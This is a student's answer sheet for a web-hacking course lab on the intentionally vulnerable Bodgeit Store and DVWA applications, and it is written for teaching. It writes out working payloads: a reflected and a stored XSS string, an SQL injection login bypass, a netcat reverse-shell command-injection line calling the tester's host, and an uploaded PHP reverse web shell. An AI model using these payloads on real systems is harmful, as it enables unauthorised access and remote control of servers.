WEEK 8 – TASK P

Answer Sheet
Your Name: Rachit Goyal

A: Hacking web Applications

1. Exploiting many vulnerabilities with web application

Task A1: First Challenge - Find Diagnostic Data

Trying to append ‘?debug=true’ parameter at the end for login page URL doesn’t changes
anything, which means that debug is not enabled for this login page

About page also has no difference, which means that about page is also having debug option
disabled.
Contact page also has debug option disabled.

In Login page we can see that adding the debug parameter at the URL shows the debug value
as ‘clear’ in the page, which means that login page has debug option enabled.

Basket page also shows the debug value which is ‘basketid = 2’ means basket id is set to value
2, which means that basked page also has debug option enabled.
Finally the Search page also shows no different result, which means that search page also
doesn’t have any debug option enabled.

Finally, the score page shows that the following diagnostic data challenge is solved.

As debug option allows external user to view the diagnostic details of the page which
shouldn’t be visible to external users, so this vulnerability can be classified as Security
Misconfiguration Vulnerability from OWASP Top 10 list.

Task A2: Second Challenge – Level 1 - Display a Pop-Up Box

In the search page we can see that the input data is being reflected on the page after clicking
the search button, so this can be a good vector to inject Cross Site-Scripting (XSS) payload.
I entered that payload <script>alert(“XSS”)</script> in the search box and on submitting it pops
a browser alert box containing our injected string ‘XSS’.

This alert box containing ‘XSS’ string proves that our provided payload
<script>alert(“XSS”)</script> is successfully injected in the page and executes a JS code which
pops the following alert box.

The score page showing that the challenge is completed.

To prevent this Cross Site Injection vulnerability, the developer must implement some security
measures like user input filtration, user provided data reflect restriction, HTML encoding for sending
user-controlled data at the front end & implement proper Content Security Policy (CSP) for the
browser.

Task A3: Third Challenge – Level 2 – Display a Pop-Up Box

In the application I found a registration page, where I can register a new user which can be a vector
or a Stored Cross Site Scripting Vulnerability.

Here I entered a payload in the username for registering a new user

test@test.com<script>alert("XSS")</script>, and on registering the user it popped the alert box
containing ‘XSS’ string, which proves that it is vulnerable to a Stored XSS vulnerability. It is a Stored
XSS vulnerability because it stores the payload in the user name of the new user & if any other user
views the profile of this new user the payload will be executed on the user’s browser making the
user victim of this vulnerability.

We can see that the score page has also marked this challenge as solved.

Task A4: Fourth Challenge: login as test@thebodgeitstore.com

As I only know the username and not the password, I tried to perform SQL injection attack on the
login page to login as ‘test@thebodgeitstore.com’ user. So I entered payload
(test@thebodgeitstore.com' OR '1'='1) in the username field and tried to login leaving the password
field empty.

And here we can see that I successfully got access to the particular user account without the
password, which means that the application is vulnerable to SQL injection vulnerability.

The entered payload in the username broke the SQL query at the backend. The singlequote (‘) after
the original username breaks the username string in the SQL Query and (OR ‘1’=’1) makes the
statement return always true bypassing the requirement of password. Hence we get logged in
without the need of password.
We can see that the score page marks the particular challenge as complete.

Task A5: Provide screenshots that show that you successfully finish all these 4
challenges.

This score page shows that all the mentioned four challenges are completed.

Task A6: Creating reverse shell from vulnerable web application

I started a NetCat listener on my kali machine.

In command injection section, I entered the following payload (;/bin/nc.traditional e /bin/bash
192.168.6.128 1337 &), which includes a semicolon that signifies the end of one command and
allows to provide second command on the same line at the same time. So our provided payload will
break the ping command that is the executed at the backend and execute a second command that
is a reverse shell command, which will send a ‘bash’ shell connection to the provided ip address
(192.168.6.128) at port 1337 which will allow the remote device to execute any system command to
this device remotely.

Executing ‘id’ & ‘whoami’ command reveals that I have the ‘_dvwa’ user privilege, which is a
restricted web server user created for DVWA application only. As an ethical hacker I can either try to
perform Privilege Escalation techniques to increase my privilege level or I can report the particular
code injection vulnerability to the concerned authority along with its mitigation which will allow
them to fix it.

Task A7: Upload web shell file and inclusion

I modified the php web shell IP & Port.

Then I uploaded the web shell and found that there was no restriction at the file upload
functionality, as it successfully uploaded the php file without any restriction.
And on executing the uploaded web shell I got the reverse connection on my NetCat listener.

This proves that the file upload vulnerability is exploited successfully and we get to execute system
command via a reverse connection from the server.

Task B:

1. Diagnostic Data Testing (Challenge 1 - Task A1)

Description
I explored the diagnostic data vulnerability in the Bodgeit Store web
application by adding the ?debug=true query parameter to various page URLs.
This task aimed to check whether diagnostic data was exposed through
improperly secured debug functionality.

Steps Taken
 • Tested the ?debug=true query on different pages (Login, Basket, About,
Contact, and Search pages).
• Found that both the Login and Basket pages revealed diagnostic
information.

Results
• Login Page: The debug value clear was displayed, indicating that debug
mode was active.
• Basket Page: Displayed basketid=2, confirming debug data exposure.
• Other Pages: About, Contact, and Search pages did not display debug
information.

2. Cross-Site Scripting (XSS) Exploit (Challenge 2 - Task A2)

Description
This task involved exploiting Reflected XSS in the Bodgeit Store's search
page. I injected a script into the search input field to demonstrate the
vulnerability.

Payload
<script>alert(“XSS”)</script>

Steps Taken
• Inserted the payload in the search input field.
• Upon submission, the script was reflected and executed, triggering an
alert box.

Results
The payload successfully executed, popping up an alert message with the
content "XSS."

3. SQL Injection (SQLi) Attack (Challenge 4 - Task A4)

Description
In this task, I bypassed authentication in the Bodgeit Store's login page
using an SQL injection technique. This method leveraged insecure query
handling in the backend.

Payload
test@thebodgeitstore.com' OR '1'='1

Steps Taken
• Entered the payload in the username field while leaving the password
blank.
• The query executed successfully, bypassing the authentication and
granting access.
 Results
The login bypassed the authentication mechanism, confirming the SQL
injection vulnerability.

4. Reverse Shell Exploit (Task A6)

Description
I leveraged the Command Injection vulnerability in the DVWA (Damn
Vulnerable Web Application) to establish a reverse shell connection to my Kali
Linux machine. This allowed me to execute commands remotely on the web
server.

Payload
;/bin/nc.traditional -e /bin/bash <Kali IP> 1337 &

Steps Taken
• Launched a NetCat listener on port 1337 using the nc -lp 1337 command.
• Injected the reverse shell payload into the command execution input
field in DVWA.
• Upon execution, I successfully established a reverse shell connection.

Results
The reverse shell provided a connection with _dvwa user privileges,
allowing me to remotely control the web server.

5. Web Shell Upload (Task A7)

Description
I exploited a file upload vulnerability in the DVWA by uploading a PHP
reverse shell. The lack of proper validation allowed me to upload malicious code
and remotely execute system commands.

Steps Taken
• Edited the php-reverse-shell.php file to reflect my IP address and port.
• Uploaded the file via the vulnerable file upload feature in DVWA.
• Executed the uploaded shell by accessing it via the web browser, which
established a reverse connection to my machine.

Results
Successfully executed the PHP reverse shell, gaining control over the web
server remotely.
Task C1:

This week helped me a lot in learning about various Web Applications vulnerabilities by practically
solving challenges on DVWA & Bodgeit applications. The most important thing that I learned by this
was the unrestricted file upload vulnerability which can lead to severe threats like Code Execution
by uploading a Web Shell.

The content of this module has definitely helped me to organise my thoughts and to build a proper
methodology for exploiting a web application and also helped me to figure out the possible
remediation will help me real world engagements.